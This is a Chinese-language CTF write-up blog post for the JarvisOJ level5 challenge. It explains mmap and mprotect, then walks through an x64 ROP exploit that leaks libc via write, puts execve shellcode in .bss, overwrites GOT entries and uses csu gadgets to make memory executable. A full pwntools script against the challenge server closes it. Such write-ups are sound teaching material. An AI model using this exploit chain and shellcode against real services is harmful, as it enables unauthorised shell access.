JarvisOJ level5

博客围绕不用system和execve函数,练习使用mmap和mprotect函数展开。介绍了两函数作用及原型,提出利用mprotect将程序堆栈改为可执行,写入shell code完成攻击的思路,还给出了具体步骤及完整exp。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题目要求不用system和execve函数,练习使用mmap和mprotect函数。

首先看一下mmap函数和mprotect函数有什么用。

mmap()函数
mmap将一个文件或者其它对象映射进内存。文件被映射到多个页上,如果文件的大小不是所有页的大小之和,最后一个页不被使用的空间将会清零。mmap在用户空间映射调用系统中作用很大。
头文件
<sys/mman.h>
函数原型
void* mmap(void* start,size_t length,int prot,int flags,int fd,off_t offset);
mprotect()函数
mprotect可以把从addr开始,长度类len的空间的权限改变。
头文件
#include <sys/mman.h>
函数原型
int mprotect(const void *addr, size_t len, int prot);
——部分引于百度百科
对于mmap函数,关于这题没有想到什么好的应用办法,但是对于mprotect函数,我们可以把程序打开的堆栈不可执行改为可执行,写入shell code就可以完成攻击了。
研究了大半天,加上观看各路大神的exp,总结出以下思路:
1.通过write函数泄露出got表,得到write函数的真实地址,计算偏移量,求出mprotect的真实地址。(这一步和level3_x64差不多)

write_plt=elf.symbols['write']
write_got=elf.got['write']
vul_addr=0x04005e6
pop_rdi_addr=0x04006b3
pop_rsi_addr=0x04006b1
payload1='a'*0x80+'a'*8+p64(pop_rdi_addr)+p64(1)+p64(pop_rsi_addr)+p64(write_got)+p64(0x0)+p64(write_plt)+p64(vul_addr)
p.recvuntil('Input:\n')
p.send(payload1)
write_addr=u64(p.recv(8))
print hex(write_addr)
pause()
libc_write=libc.symbols['write']
offset=write_addr-libc_write
libc_mprotect=libc.symbols['mprotect']
mprotect_addr=offset+libc_mprotect
print hex(mprotect_addr)

2.通过read函数把shellcode写入到bss段中。

bss_addr=elf.bss()
read_plt=elf.symbols['read']
shellcode='\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
#shellcode=asm(shellcraft.sh())
payload2='a'*0x88+p64(pop_rdi_addr)+p64(0)+p64(pop_rsi_addr)+p64(bss_addr)+p64(0x0)+p64(read_plt)+p64(vul_addr)
p.recvuntil('Input:\n')
p.send(payload2)
p.send(shellcode)
pause()

3.通过read函数,把shell code的bss段的地址读入到.got.plt段去,便于调用(注意要是空段)

bss_got=0x0600a48
payload3='a'*0x88+p64(pop_rdi_addr)+p64(0)+p64(pop_rsi_addr)+p64(bss_got)+p64(0x0)+p64(read_plt)+p64(vul_addr)
p.recvuntil('Input:\n')
p.send(payload3)
p.send(p64(bss_addr))
pause()

4.通过read函数,把mprotect的地址也读入到.got.plt段中,便于修改权限。

mprotect_got=0x0600a50
payload4='a'*0x88+p64(pop_rdi_addr)+p64(0)+p64(pop_rsi_addr)+p64(mprotect_got)+p64(0x0)+p64(read_plt)+p64(vul_addr)
p.recvuntil('Input:\n')
p.send(payload4)
p.send(p64(mprotect_addr))
pause()

5.通过通用gadget把.got.plt段的函数调用起来,完成权限的修改,并执行shell code,得到shell。

csu_pop=0x04006a6
csu_mov=0x0400690
payload5='a'*0x88+p64(csu_pop)+p64(0x0)+p64(0)+p64(1)+p64(mprotect_got)+p64(7)+p64(0x1000)+p64(0x600000)+p64(csu_mov)+p64(0x0)+p64(0)+p64(1)+p64(bss_got)+p64(0)+p64(0)+p64(0)+p64(csu_mov)
p.send(payload5)
sleep(5)
p.interactive()

总体思路并不是很复杂,只是有些地方难以想到,我也是借助了一些大神的思路才知道这些东西,关于通用寄存器,建议看蒸米大神的**《一步一步学ROP之linux_x64篇》**里面讲解的非常详细。
下面给出完整的exp:

#!/usr/bin/env python
from pwn import *
#context.log_level="debug"
p=remote('pwn2.jarvisoj.com','9884')
elf=ELF('./level3_x64')
libc=ELF('./libc-2.19x64.so')
write_plt=elf.symbols['write']
write_got=elf.got['write']
vul_addr=0x04005e6
pop_rdi_addr=0x04006b3
pop_rsi_addr=0x04006b1
payload1='a'*0x80+'a'*8+p64(pop_rdi_addr)+p64(1)+p64(pop_rsi_addr)+p64(write_got)+p64(0x0)+p64(write_plt)+p64(vul_addr)
p.recvuntil('Input:\n')
p.send(payload1)
write_addr=u64(p.recv(8))
print hex(write_addr)
pause()
libc_write=libc.symbols['write']
offset=write_addr-libc_write
libc_mprotect=libc.symbols['mprotect']
mprotect_addr=offset+libc_mprotect
print hex(mprotect_addr)
bss_addr=elf.bss()
read_plt=elf.symbols['read']
shellcode='\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
#shellcode=asm(shellcraft.sh())  #不知道为什么这里不能用工具直接构造
payload2='a'*0x88+p64(pop_rdi_addr)+p64(0)+p64(pop_rsi_addr)+p64(bss_addr)+p64(0x0)+p64(read_plt)+p64(vul_addr)
p.recvuntil('Input:\n')
p.send(payload2)
p.send(shellcode)
pause()
bss_got=0x0600a48
payload3='a'*0x88+p64(pop_rdi_addr)+p64(0)+p64(pop_rsi_addr)+p64(bss_got)+p64(0x0)+p64(read_plt)+p64(vul_addr)
p.recvuntil('Input:\n')
p.send(payload3)
p.send(p64(bss_addr))
pause()
mprotect_got=0x0600a50
payload4='a'*0x88+p64(pop_rdi_addr)+p64(0)+p64(pop_rsi_addr)+p64(mprotect_got)+p64(0x0)+p64(read_plt)+p64(vul_addr)
p.recvuntil('Input:\n')
p.send(payload4)
p.send(p64(mprotect_addr))
pause()
csu_pop=0x04006a6
csu_mov=0x0400690
payload5='a'*0x88+p64(csu_pop)+p64(0x0)+p64(0)+p64(1)+p64(mprotect_got)+p64(7)+p64(0x1000)+p64(0x600000)+p64(csu_mov)+p64(0x0)+p64(0)+p64(1)+p64(bss_got)+p64(0)+p64(0)+p64(0)+p64(csu_mov)
p.send(payload5)
sleep(5)
p.interactive()

运行结果如下:
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值